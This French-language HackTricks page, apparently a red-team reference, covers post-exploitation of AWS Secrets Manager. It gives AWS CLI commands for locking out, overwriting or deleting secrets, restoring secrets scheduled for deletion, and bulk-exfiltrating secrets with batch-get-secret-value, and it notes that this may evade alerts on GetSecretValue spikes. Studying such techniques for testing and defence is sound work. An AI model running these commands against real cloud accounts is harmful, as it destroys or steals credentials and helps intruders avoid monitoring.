AWS - Secrets Manager Post Exploitation

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Secrets Manager

Pour plus d’informations, consultez :

AWS - Secrets Manager Enum

Lire les secrets

Les secrets eux-mĂȘmes sont des informations sensibles, consultez la page privesc pour apprendre comment les lire.

DoS Changer la valeur du secret

En changeant la valeur du secret, vous pourriez DoS tous les systÚmes qui dépendent de cette valeur.

Warning

Notez que les valeurs précédentes sont également stockées, il est donc facile de revenir à la valeur précédente.

# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"

DoS Change KMS key

Si l’attaquant dispose de la permission secretsmanager:UpdateSecret, il peut configurer le secret pour utiliser une KMS key appartenant Ă  l’attaquant. Cette clĂ© est initialement configurĂ©e de maniĂšre Ă  ce que n’importe qui puisse y accĂ©der et l’utiliser, ce qui permet de mettre Ă  jour le secret avec la nouvelle clĂ©. Si la clĂ© n’était pas accessible, le secret ne pourrait pas ĂȘtre mis Ă  jour.

AprĂšs avoir changĂ© la KMS key du secret, l’attaquant modifie la configuration de sa KMS key afin que seul lui puisse y accĂ©der. Ainsi, dans les versions ultĂ©rieures du secret, celui-ci sera chiffrĂ© avec la nouvelle KMS key et, comme il n’y aura plus d’accĂšs Ă  celle-ci, la possibilitĂ© de rĂ©cupĂ©rer le secret sera perdue.

Il est important de noter que cette inaccessibilité ne se produira que dans les versions ultérieures, aprÚs que le contenu du secret aura changé, puisque la version actuelle est toujours chiffrée avec la KMS key originale.

aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE

DoS Deleting Secret

Le nombre minimum de jours pour supprimer un secret est de 7

aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7

secretsmanager:RestoreSecret

Il est possible de restaurer un secret, ce qui permet de récupérer des secrets qui ont été programmés pour suppression, puisque la période minimale de suppression des secrets est de 7 jours et la maximale est de 30 jours. Associée à la permission secretsmanager:GetSecretValue, cela permet de récupérer leur contenu.

Pour récupérer un secret en cours de suppression, vous pouvez utiliser la commande suivante :

aws secretsmanager restore-secret \
--secret-id <Secret_Name>

secretsmanager:DeleteResourcePolicy

Cette action permet de supprimer la resource policy qui contrĂŽle qui peut accĂ©der Ă  un secret. Cela pourrait entraĂźner un DoS si la resource policy Ă©tait configurĂ©e pour autoriser l’accĂšs Ă  un ensemble spĂ©cifique d’utilisateurs.

Pour supprimer la resource policy :

aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>

secretsmanager:UpdateSecretVersionStage

Les Ă©tats d’un secret servent Ă  gĂ©rer ses versions. AWSCURRENT marque la version active utilisĂ©e par les applications, AWSPREVIOUS conserve la version prĂ©cĂ©dente pour pouvoir revenir en arriĂšre si nĂ©cessaire, et AWSPENDING est utilisĂ© dans le processus de rotation pour prĂ©parer et valider une nouvelle version avant de la rendre courante.

Les applications lisent toujours la version marquĂ©e AWSCURRENT. Si quelqu’un dĂ©place ce label vers la mauvaise version, les applications utiliseront des identifiants invalides et risquent d’échouer.

AWSPREVIOUS n’est pas utilisĂ© automatiquement. Toutefois, si AWSCURRENT est supprimĂ© ou rĂ©affectĂ© incorrectement, il peut sembler que tout fonctionne encore avec la version prĂ©cĂ©dente.

aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
--version-stage AWSCURRENT \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>

Mass Secret Exfiltration via BatchGetSecretValue (jusqu’à 20 par appel)

Abuse the Secrets Manager BatchGetSecretValue API to retrieve up to 20 secrets in a single request. Cela peut rĂ©duire considĂ©rablement le volume d’appels API comparĂ© Ă  l’itĂ©ration de GetSecretValue pour chaque secret. Si des filtres sont utilisĂ©s (tags/name), la permission ListSecrets est Ă©galement requise. CloudTrail enregistre nĂ©anmoins un Ă©vĂ©nement GetSecretValue par secret rĂ©cupĂ©rĂ© dans le batch.

Required permissions

  • secretsmanager:BatchGetSecretValue
  • secretsmanager:GetSecretValue pour chaque secret ciblĂ©
  • secretsmanager:ListSecrets si –filters est utilisĂ©
  • kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)

Warning

Notez que la permission secretsmanager:BatchGetSecretValue n’est pas suffisante pour rĂ©cupĂ©rer des secrets ; vous avez Ă©galement besoin de secretsmanager:GetSecretValue pour chaque secret que vous souhaitez rĂ©cupĂ©rer.

Exfiltrate by explicit list

aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'

Exfiltrer par filtres (tag key/value ou préfixe de nom)

# By tag key
aws secretsmanager batch-get-secret-value \
--filters Key=tag-key,Values=env \
--max-results 20 \
--query 'SecretValues[].{Name:Name,Val:SecretString}'

# By tag value
aws secretsmanager batch-get-secret-value \
--filters Key=tag-value,Values=prod \
--max-results 20

# By name prefix
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp

Gestion des échecs partiels

# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>

Impact

  • RĂ©cupĂ©ration rapide “smash-and-grab” de nombreux secrets avec moins d’appels API, pouvant potentiellement contourner des alertes configurĂ©es pour des pics de GetSecretValue.
  • Les logs CloudTrail incluent toujours un Ă©vĂ©nement GetSecretValue par secret rĂ©cupĂ©rĂ© par lot.

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks